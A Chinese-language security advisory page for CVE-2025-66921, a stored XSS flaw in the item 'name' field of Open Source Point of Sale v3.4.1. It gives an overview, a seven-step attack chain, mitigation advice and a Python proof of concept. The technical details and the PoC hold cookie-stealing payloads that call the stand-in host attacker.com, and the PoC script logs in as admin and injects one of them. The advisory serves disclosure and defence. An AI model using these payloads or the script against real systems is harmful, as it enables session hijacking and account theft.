IPBUF安全漏洞报告
English
CVE-2025-66921 CVSS 7.2 高危

CVE-2025-66921 | Open Source Point of Sale name参数XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-66921
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Open Source Point of Sale v3.4.1

相关标签

CVE-2025-66921XSS跨站脚本攻击Open Source Point of Sale存储型XSSWeb应用安全CWE-79电商系统零售系统

漏洞概述

CVE-2025-66921是Open Source Point of Sale(开源销售点系统)v3.4.1版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于系统的创建和更新项目(Item)模块中,攻击者可以通过"name"参数向系统注入恶意的JavaScript代码或HTML标记。由于该漏洞是存储型XSS,恶意脚本会被永久保存在服务器端数据库中,所有访问该内容的用户都会受到攻击影响。攻击者可以利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件。该漏洞需要高权限用户才能利用,但一旦被利用,可能导致严重的业务数据泄露和系统安全风险。开源销售点系统通常用于零售、餐饮等行业,处理大量的商品信息和交易数据,因此该漏洞可能影响大量终端用户的安全。

技术细节

该XSS漏洞源于Open Source Point of Sale在处理商品名称(name)参数时缺乏充分的输入验证和输出编码。当用户创建或更新商品信息时,系统直接将用户输入的"name"参数值存储到数据库,并在后续页面中未经适当转义就直接输出到HTML页面中。攻击者可以在商品名称字段中注入恶意脚本,如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于系统使用PHP开发且可能使用传统的mysql_*函数或未正确使用htmlspecialchars()等函数进行输出编码,导致恶意脚本被浏览器解析执行。攻击者需要具有创建或更新商品的高权限(如管理员或经理角色),但攻击成功后,所有查看商品列表或详情的用户都会触发该脚本,造成会话劫持或数据窃取。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统使用的是Open Source Point of Sale v3.4.1,并确定存在创建/更新商品的功能模块
STEP 2
步骤2:账户获取
攻击者获取系统的高权限账户(如管理员或经理账号),可以通过社工、弱密码爆破或其他方式获得
STEP 3
步骤3:构造恶意payload
攻击者构造XSS恶意代码,如<script>alert(document.cookie)</script>或更复杂的会话窃取脚本
STEP 4
步骤4:注入恶意代码
使用高权限账户登录系统,在创建或更新商品时,将恶意脚本注入到"name"参数中并提交
STEP 5
步骤5:存储到数据库
系统将包含恶意代码的商品名称未经充分过滤即存储到数据库中
STEP 6
步骤6:触发攻击
当其他用户(如收银员)访问商品列表或商品详情页面时,恶意脚本被浏览器解析执行
STEP 7
步骤7:窃取敏感信息
恶意脚本执行后,攻击者可以获取受害者的会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66921 PoC - Stored XSS in Open Source Point of Sale # Target: Open Source Point of Sale v3.4.1 # Module: Create/Update Item Module # Parameter: name TARGET_URL = "http://target.com/opensourcepos" LOGIN_URL = f"{TARGET_URL}/index.php/login" ITEM_URL = f"{TARGET_URL}/index.php/items/save" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): """ Exploit for CVE-2025-66921 This PoC demonstrates how to inject XSS via the 'name' parameter """ session = requests.Session() # Step 1: Login with high privilege account (admin/manager) login_data = { 'username': 'admin', 'password': 'password' } session.post(LOGIN_URL, data=login_data) # Step 2: Create item with XSS payload in name parameter item_data = { 'name': XSS_PAYLOAD, 'category_id': '1', 'cost_price': '10.00', 'unit_price': '20.00', 'tax_percent': '0', 'quantity': '100' } response = session.post(ITEM_URL, data=item_data) if response.status_code == 200: print('[+] XSS payload injected successfully!') print('[+] Payload will execute when item is viewed by any user') return True else: print('[-] Exploitation failed') return False if __name__ == '__main__': exploit()

影响范围

Open Source Point of Sale v3.4.1

防御指南

临时缓解措施
在等待官方安全更新期间,可采取以下临时缓解措施:1) 使用Web应用防火墙(WAF)规则拦截包含<script>标签的请求;2) 对商品名称字段实施严格的输入验证,仅允许字母、数字和特定标点符号;3) 在输出商品名称时强制进行HTML实体编码;4) 限制高权限账户数量并使用强密码策略;5) 启用会话超时和双因素认证;6) 定期审计系统日志,及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表